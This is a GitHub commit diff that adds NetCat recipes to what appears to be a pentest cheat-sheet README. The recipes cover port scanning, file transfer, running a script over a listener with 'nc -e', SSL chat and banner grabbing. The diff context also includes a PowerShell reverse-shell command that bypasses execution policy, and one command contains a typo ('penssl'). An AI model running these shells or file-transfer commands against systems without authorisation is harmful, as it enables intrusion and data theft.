Skip to content

Commit

Permalink
adding netcat tricks
Browse files Browse the repository at this point in the history
  • Loading branch information
n3k00n3 committed Apr 9, 2019
1 parent 72da0b5 commit 38bae55
Showing 1 changed file with 81 additions and 1 deletion.
82 changes: 81 additions & 1 deletion README.md
Original file line number Diff line number Diff line change
Expand Up @@ -250,6 +250,87 @@ Nmap verbose scan, runs syn stealth, T4 timing, OS and service version info, tra

* [Nmap Discovery](https://nmap.org/nsedoc/categories/discovery.html)


##

#### NetCat

##### Port Scanner

One port

```shell
nc -nvz 192.168.1.23 80
```

Port Range

```shell
nc -vnz 192.168.1.23 0-1000
```

##### Send files

* Server

```shell
nc -lvp 1234 > file_name_to_save
```

* Client

```shell
nc -vn 192.168.1.33 1234 < file_to_send
```

##### Executing remote script

* Server

```shell
nc -lvp 1234 -e ping.sh <IP>
```

* Client

```shell
nc -vn 192.168.1.33 1234
```

##### Chat with encryption

* Server

```shell
ncat -nlvp 8000 --ssl
```

* Client

```shell
ncat -nv 192.168.1.33 8000
```

##### Banner Grabbing

```shell
nc target port
HTTP_Verb path http/version
Host: url
```

```shell
nc www.bla.com.br 80
HEAD / HTTP/1.0
Host: www.bla.com.br
```

##### If this site uses https you need to use openssl

```shell
penssl s_client -quiet www.bla.com.br:443
```

##

### Reverse Shell
Expand All @@ -267,7 +348,6 @@ function reverse_powershell {
```powershell
powershell -ExecutionPolicy bypass -command "Import-Module reverse.ps1; reverse_powershell"
```

##

### Resources
Expand Down

0 comments on commit 38bae55

Please sign in to comment.